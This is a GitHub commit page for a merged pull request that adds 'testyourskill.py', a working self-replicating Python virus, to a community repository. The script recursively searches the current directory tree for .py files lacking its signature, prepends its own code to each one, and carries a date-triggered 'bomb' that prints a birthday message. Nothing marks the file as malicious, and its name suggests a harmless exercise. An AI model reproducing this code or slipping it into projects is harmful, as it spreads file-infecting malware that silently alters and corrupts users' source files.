Skip to content

Commit de151c5

Browse files
author
codehouseindia
authored
Merge pull request codehouseindia#218 from avinashupadhyay/patch-1
added new file
2 parents 802467e + 4751da6 commit de151c5

1 file changed

Lines changed: 41 additions & 0 deletions

File tree

testyourskill.py

Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
# https://www.facebook.com/100010190148120/posts/1298325610517098/
2+
# subscribed by Avinash Upadhyay
3+
#!/usr/bin/python
4+
import os
5+
import datetime
6+
SIGNATURE = "TESTYOURSKILL VIRUS"
7+
def search(path):
8+
filestoinfect = []
9+
filelist = os.listdir(path)
10+
for fname in filelist:
11+
if os.path.isdir(path+"/"+fname):
12+
filestoinfect.extend(search(path+"/"+fname))
13+
elif fname[-3:] == ".py":
14+
infected = False
15+
for line in open(path+"/"+fname):
16+
if SIGNATURE in line:
17+
infected = True
18+
break
19+
if infected == False:
20+
filestoinfect.append(path+"/"+fname)
21+
return filestoinfect
22+
def infect(filestoinfect):
23+
virus = open(os.path.abspath(__file__))
24+
virusstring = ""
25+
for i,line in enumerate(virus):
26+
if i>=0 and i <39:
27+
virusstring += line
28+
virus.close
29+
for fname in filestoinfect:
30+
f = open(fname)
31+
temp = f.read()
32+
f.close()
33+
f = open(fname,"w")
34+
f.write(virusstring + temp)
35+
f.close()
36+
def bomb():
37+
if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25:
38+
print "HAPPY BIRTHDAY CRANKLIN!"
39+
filestoinfect = search(os.path.abspath(""))
40+
infect(filestoinfect)
41+
bomb()

0 commit comments

Comments
 (0)